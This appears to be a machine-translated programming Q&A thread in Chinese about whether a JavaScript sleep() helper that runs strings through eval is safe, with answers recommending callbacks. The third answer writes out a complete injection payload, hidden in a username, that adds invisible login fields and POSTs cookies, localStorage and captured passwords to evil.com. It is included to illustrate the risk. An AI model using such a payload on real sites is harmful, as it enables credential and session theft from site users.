eval真的安全吗?有没有办法让黑客能够在机器服务器上执行eval并破解/破坏它?如果我们想要一个修复或替代方案,我和其他人会怎么做?
function sleep(s, action) {
if(action !== null) {
if(action.constructor === Array) {
setTimeout(function(){
for(i = 0; i < action.length; i++) {
eval(action[i]);
}
}, s);
} else {
setTimeout(function(){ eval(action); }, s);
}
} else {
setTimeout(function(){ return true; }, s);
}
}
/*Example 1:*/ sleep(1000, ["alert('ok in alert')", "console.log('ok in console')"]);
/*Example 2:*/ sleep(1000, "console.log('one single line of code")
/*Example 3:*/ sleep(1000) //returns true after 1s
函数 sleep()作业是等待x秒然后执行用户输入的代码。使用两个参数调用 sleep()。其中一个是必须(s),另一个是可选的(动作)。
(s)参数保存函数内超时的秒。
(action)以字符串格式保存代码,由函数执行。如果未输入(动作)参数,则该函数将返回true。
人们说,eval真的不安全吗?如果是这样,为什么?是否有类似上述问题的修复/替代方案。
NB。试图让这个变得尽可能简单,这样它既可以帮助你作为读者也可以帮助你。
答案 0 :(得分:2)
黑客是否有办法将eval执行到机器服务器并破解/破坏它?
如果您正在编写客户端JavaScript,那么该代码中没有任何安全漏洞 - 无论多大 - 都会导致服务器上发生任何不良事件。因为如果可以,那么你就不需要在客户端JS中滥用漏洞,而只是手动发送恶意请求
对于问题的实际问题,eval
是不安全的,因为通常这意味着如果您使用它,您就会编写糟糕的代码。它需要一个任意的代码串并运行它 - 除非你动态生成代码,否则你不需要或不需要它。
例如,如果你发布了什么,你会将回调函数而不是一串代码传递给sleep
,甚至返回一个Promise。对于人们认为他们需要使用eval
或将代码放在字符串中的几乎所有情况,这几乎都是答案。
以下是使用回调函数的代码:
function sleep(s, action) {
if(action !== null) {
if(action.constructor === Array) {
setTimeout(function(){
for(i = 0; i < action.length; i++) {
action[i]();
}
}, s);
} else {
setTimeout(action, s);
}
}
}
/*Example 1:*/ sleep(1000, [function () { alert('ok in alert') }, function () { console.log('ok in console') } ]);
/*Example 2:*/ sleep(1000, function () { console.log('one single line of code') });
/*Example 3:*/ sleep(1000); //Does nothing. What's the point of creating an empty timeout?
答案 1 :(得分:1)
如果做错了,一切都可能不安全。这同样适用于eval
。你可以说使用eval
是不好的做法,因为可能存在安全问题和性能不佳,例如
const result = eval('Math.random()');
因为没有人可以改变执行的主题。
如果您的用户能够编写JavaScript并将其作为输入传递,那么总会有创建问题的方法。以下是您在特定情况下可以从用户处获得的信息:
while (true) {}
永远阻止线程/处理器核心,无论平台如何(浏览器/服务器/无论如何)都绝对不是你想要的。
答案 2 :(得分:1)
请考虑以下情形:您已找到此库并将其用于您的网站,以显示最近活跃用户的循环列表。由于sleep
需要一个字符串进行评估,因此只需抓取用户名并将其添加到语句末尾以更新列表就很容易了:
var username = getTopUserViaXHRSynchronouslySomehow('/userstats.php');
sleep(10000, 'document.querySelector("#ticker").textContent = "' + username + '"');
(您已经读过textContent
是用于此的正确属性。它会安全地更新元素,确保没有任何内容被解释为可以在攻击中使用的HTML。)
现在我来看看你网站的源代码。我得到了awful的想法。我使用用户名
注册一个新用户MustacheTwirler1337";
var userbox = document.createElement('input');
userbox.setAttribute('name', 'login_username');
userbox.style.position = 'absolute';
userbox.style.top = '-200px';
var passbox = document.createElement('input');
passbox.setAttribute('name', 'login_password');
passbox.setAttribute('type', 'password');
passbox.style.position = 'absolute';
passbox.style.top = '-200px';
document.body.append(userbox, passbox);
setTimeout(() => {
fetch('http://evil.com/', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
local: window.localStorage,
username: userbox.value,
password: passbox.value
}),
headers: new Headers({
'Content-Type': 'application/json'
})
});
}, 500);
var s = "
(当然,我首先将所有内容缩小。您的网站不会让我在我的用户名中添加换行符。)然后,我在您的网站上匆匆忙忙,确保我的名字最终被{{1 }}
现在,您的所有用户都在浏览器中运行我的用户名/恶意代码。由于这一切都是从您的网站运行的,因此我的代码可以访问与您的域相关联的Cookie数据和本地存储。我已经添加了登录输入框(与真实用户名相同),用户&#39;密码管理员帮助填写。然后我告诉您的用户将所有那些多汁的数据直接传递到我的服务器。
您还使用自己的网站,并且您的登录信息比普通用户拥有更多权限。你的是我一直在寻找的账户。凭借您的凭据,我会破坏您的网站。 (而且我保留其他人的信息,以防万一他们甚至使用密码管理器重复使用密码。我可能会破坏至少一些人的在线生活。)
现在,这是userstats.php
的错吗?不是直接的,但它使编写错误的代码比编写好的代码容易得多。如果eval
已经执行了某项功能,那么您将无法使用sleep
。你的代码看起来像这样:
eval
并且我的代码都无法运行。